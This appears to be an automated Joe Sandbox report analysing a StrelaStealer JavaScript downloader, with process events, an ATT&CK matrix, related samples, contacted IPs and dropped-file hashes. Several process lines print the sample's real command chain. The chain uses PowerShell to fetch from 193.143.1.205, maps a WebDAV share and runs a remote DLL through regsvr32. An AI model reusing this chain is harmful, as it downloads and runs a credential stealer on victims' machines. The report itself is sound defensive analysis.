Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29102893729089.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
12524190021110725310.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer
12524190021110725310.js	10%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/z	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/H	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205:8888/H	net.exe, 00000008.00000002.1391336260.000002C3511BC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000A.00000003.1392114974.0000020C78FD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	false		high
http://193.143.1.205:8888/z	net.exe, 00000008.00000002.1391336260.000002C351188000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 0000000A.00000002.2571394482.0000020C79200000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.9.dr	false		high
https://www.adobe.co	ReaderMessages.6.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.10.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000008.00000002.1391336260.000002C351188000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1391336260.000002C3511DB000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588653
Start date and time:	2025-01-11 03:41:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 7s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	12524190021110725310.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/59@6/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 18.213.11.84, 50.16.47.176, 54.224.241.105, 34.237.241.83, 199.232.214.172, 184.28.90.27, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 20.109.210.53, 52.6.155.20, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, time.windows.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:42:33	API Interceptor	26x Sleep call for process: powershell.exe modified
21:42:38	API Interceptor	1x Sleep call for process: net.exe modified
21:42:38	API Interceptor	2x Sleep call for process: svchost.exe modified
21:42:46	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	166452923276113028.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16042278381135117219.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1297823757234143258.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	20891229701394327174.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7654219842078021961.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1231561673271419181.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1487427797195518826.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1504631236979031969.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7222172992877722612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	15943270342346830855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	47411761265155214.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1525641771920916745.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	853872402647317272.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2624560062728623951.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067232487925372
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqT:2JIB/wUKUKQncEmYRTwh0X
MD5:	1CB7D88EAA7B215D2204EC78DEC42736
SHA1:	7A881FDEE0BD49D8A2B051342CF8CC7F048AE335
SHA-256:	2CD5815EAF8B03AD2C1933A3791CF7A2F9AD2FE35F8F0555F9D4E7E2C30136FE
SHA-512:	F293DE5DA307EC4B0053C18E1D651BB9BBDAECD9D673ABA984E92EDBA19792342363621B976C58F59D521D5B7ABBB4A6F00125D9E0D400B8F071574BADEA2E2E
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf6764aca, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7899674507307954
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:TazaPvgurTd42UgSii
MD5:	DEC393EE659F83894F1E6E307C52C1FB
SHA1:	56F6D4FD4969D921D135E44193B5343D2D8ADE34
SHA-256:	78A1B8DD3F4080ADBDD0897E21DDD2AEBED7FBB9AB5C14E53224B14E3CAF3C33
SHA-512:	644DFE29F68F121CB44FE5BEEC053D336738BDE0E0A28D41223E6E6879E870A79F383576CBED0ED3EC324F6F16D414909DBA6E3F354FC20F59842DCB755D964B
Malicious:	false
Preview:	.vJ.... ...............X\...;...{......................0.`.....42...{5.&...}K.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{.....................................p&...}..................x5.&*...}k..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0820123305075217
Encrypted:	false
SSDEEP:	3:Y6Ye0znigGqt/57Dek3JTDPMS/lallEqW3l/TjzzQ/t:Y6zGHR3tTDPlAmd8/
MD5:	5A93A3AC4FFD25E1A9C01B72CE8BFF5E
SHA1:	BA07222C96E5116E1792C65DB02774E58442C0CA
SHA-256:	5D3A55F010E537C9DEA4B6A27052F5BC5BD452EE55644ACC8ADC4FC954AC7FBE
SHA-512:	2FDB673D8D6FAD1DB5056B105B3CBFB73E118FD5D1939DD08D7FC023A446BC54BDC9FA233293F854D1CC36BB44BCBB0A844F7428C6AF5148637A9DC7D2AC043E
Malicious:	false
Preview:	.........................................;...{..&...}k.42...{5.........42...{5.42...{5...Y.42...{59................x5.&...}k.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.196755305354124
Encrypted:	false
SSDEEP:	6:iO4qaVq2PcNwi2nKuAl9OmbnIFUtSqSRYgZmwsqSRYIkwOcNwi2nKuAl9OmbjLJ:7UvLZHAahFUt2z/0p54ZHAaSJ
MD5:	71F0659EC32924F43886DBE4835C9DAD
SHA1:	CFE42E83615633ECB6C314369062C72AB0D57A01
SHA-256:	2EEA78FB881D71D17ABA444154D72EC4216DA86197AA3C9D70E8F88CBB735C48
SHA-512:	2B13BDEDC61B283B0C719AF3A8EAB15440E627D76F9B5143FECEDDC2908087D9FF9D6B63219E03578807AA15743954F4577DEB798B25A7B6BE7E1C235703290E
Malicious:	false
Preview:	2025/01/10-21:42:38.202 680 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:42:38.205 680 Recovering log #3.2025/01/10-21:42:38.205 680 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	297
Entropy (8bit):	5.196755305354124
Encrypted:	false
SSDEEP:	6:iO4qaVq2PcNwi2nKuAl9OmbnIFUtSqSRYgZmwsqSRYIkwOcNwi2nKuAl9OmbjLJ:7UvLZHAahFUt2z/0p54ZHAaSJ
MD5:	71F0659EC32924F43886DBE4835C9DAD
SHA1:	CFE42E83615633ECB6C314369062C72AB0D57A01
SHA-256:	2EEA78FB881D71D17ABA444154D72EC4216DA86197AA3C9D70E8F88CBB735C48
SHA-512:	2B13BDEDC61B283B0C719AF3A8EAB15440E627D76F9B5143FECEDDC2908087D9FF9D6B63219E03578807AA15743954F4577DEB798B25A7B6BE7E1C235703290E
Malicious:	false
Preview:	2025/01/10-21:42:38.202 680 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:42:38.205 680 Recovering log #3.2025/01/10-21:42:38.205 680 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.183188433550064
Encrypted:	false
SSDEEP:	6:iO4qo1yq2PcNwi2nKuAl9Ombzo2jMGIFUtSqF1ZmwsqglRkwOcNwi2nKuAl9OmbX:7G4vLZHAa8uFUtZ1/Oz54ZHAa8RJ
MD5:	BC65327899EA10BD95E6562B7730B4BB
SHA1:	8C11C7982CEC65A42E37278C2F859D3A0886B2FC
SHA-256:	7DE3609439FE664C8FD62728BC1FF4E81EAE68478DB99CCAD44756E41C60442F
SHA-512:	245C219F843ADA286BAB51754A550C6D7D2D34491B2E68077C0814D409718E7022879A9D1B2C1E7AA8CF36BE209AFF6D4E7522AD8CF9ECDB54EA311CAE586DB4
Malicious:	false
Preview:	2025/01/10-21:42:38.212 7e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:42:38.213 7e4 Recovering log #3.2025/01/10-21:42:38.214 7e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	341
Entropy (8bit):	5.183188433550064
Encrypted:	false
SSDEEP:	6:iO4qo1yq2PcNwi2nKuAl9Ombzo2jMGIFUtSqF1ZmwsqglRkwOcNwi2nKuAl9OmbX:7G4vLZHAa8uFUtZ1/Oz54ZHAa8RJ
MD5:	BC65327899EA10BD95E6562B7730B4BB
SHA1:	8C11C7982CEC65A42E37278C2F859D3A0886B2FC
SHA-256:	7DE3609439FE664C8FD62728BC1FF4E81EAE68478DB99CCAD44756E41C60442F
SHA-512:	245C219F843ADA286BAB51754A550C6D7D2D34491B2E68077C0814D409718E7022879A9D1B2C1E7AA8CF36BE209AFF6D4E7522AD8CF9ECDB54EA311CAE586DB4
Malicious:	false
Preview:	2025/01/10-21:42:38.212 7e4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:42:38.213 7e4 Recovering log #3.2025/01/10-21:42:38.214 7e4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6dddf527-c45b-41d8-9120-5a21db355b78.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.970195903305652
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqOsBdOg2H6Acaq3QYiubSpDyP7E4TX:Y2sRds+dMH6r3QYhbSpDa7n7
MD5:	2F96A5D6E99CC54B3A6F015E62280277
SHA1:	BD5E80CD0F575B97CCCC74BE7CE1E66048051B16
SHA-256:	8E27279F9142F7D749F44429E91AEC9780FFDCB910902BCD5CCDEA61B2685044
SHA-512:	8BA55B93356A082D957201CD9CDD450166FBC9BE8FE14130D5F95B9E4C77FDFCF5AB90142AF3DB687CED86E0612337FB42DC60A7ACF22CCFE1B200035CC9A27A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381123369845607","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":125571},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6f77efe1-5936-40ce-ac46-17139adee4ab.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4c3602.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.96930632548093
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPsBdOg2HSOgcaq3QYiubSpDyP7E4TX:Y2sRdsRdMHSOL3QYhbSpDa7n7
MD5:	FBDCC2772AA26D64959F72A60AEED4DF
SHA1:	65DC55AD8E6AF60BDBDD0E6F3BCA306D1B4706A3
SHA-256:	6C648B6773C99F25E60A691E688BE640F52738A14D94F8FADC01AE9E9EF81C05
SHA-512:	036D6EC84050006D1B725801BC5A70C4DAB1CFBFA5DC114D33BF66DA4BA362C4AD22E5DF5742BB5319A01434B5451162030B50828D20A72BB418824F5555D9E1
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341052428587673","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146366},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.7","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.227884478439892
Encrypted:	false
SSDEEP:	96:CwNwpDGHqPySfkcr2smSX8I2OQCDh28wDtPMfW8I/p:CwNw1GHqPySfkcigoO3h28ytPMfW8Ih
MD5:	ED12DC7A17C0E7F266F80E71EDE94901
SHA1:	CB7D33A53D919AB7FF851BF1BD6885E9D5224E32
SHA-256:	8B71FB7A4D2B7E8B7255612EB7F45D8AA4D479AE11967FEFE8A602F2E54464E1
SHA-512:	BDFD84F4908DA0E8159DD51EB3CAEF823DFAFBD1BB7FC303A7CA020D6D0E2A6AAEA20BCD6AEDA6A71DEC73ACD93359D09BE12D1BCBDF2DAD09301DD18E1BA444
Malicious:	false
Preview:	...#................version.1..namespace-.aw.o................next-map-id.1.Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.0I.$.r................next-map-id.2.Snamespace-9a9aa6d6_c307_4dda_b6c0_dc91084c8e68-https://rna-v2-resource.acrobat.com/.1!...r................next-map-id.3.Snamespace-1fbd9dc5_70a3_4975_91b4_966e0915c27a-https://rna-v2-resource.acrobat.com/.2..N.o................next-map-id.4.Pnamespace-0e0aed8d_6d6f_4be0_b28f_8e02158bc792-https://rna-resource.acrobat.com/.3.z.o................next-map-id.5.Pnamespace-52652c26_09c2_43f2_adf7_da56a1f00d32-https://rna-resource.acrobat.com/.4.{.^...............Pnamespace-aa11265e_f35e_4e5d_85db_f163e1c0f691-https://rna-resource.acrobat.com/.C..r................next-map-id.6.Snamespace-3a89c6b0_72b9_411a_9e44_fa247f34ac91-https://rna-v2-resource.acrobat.com/.5.q._r................next-map-id.7.Snamespace-02b23955_9103_42e0_ba64_3f8683969652-https://rna-v2-resource.acrobat.com/.6..d.o..............

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	329
Entropy (8bit):	5.213224031050259
Encrypted:	false
SSDEEP:	6:iO4qLPyq2PcNwi2nKuAl9OmbzNMxIFUtSqHj1ZmwsqBApRkwOcNwi2nKuAl9Ombg:7pavLZHAa8jFUtrj1/UP54ZHAa84J
MD5:	F160EAB3EA0C1D6265C281C695975E43
SHA1:	39D5FAAE817E386C1F08F5A1294B0414DA969C07
SHA-256:	FCFEA51875F12DF3B48C1FC683C6BC238A231BC28EEDF25D7E78B08062635CDD
SHA-512:	D0210C1DFFCDD46C4FD9DB762B693BE4F88BC1E61AB4AE8FBF716B86D901FEFE2F722B797041C17CA18279CBC7CE55D4E96962E83EEFD06034A8F33A71287EED
Malicious:	false
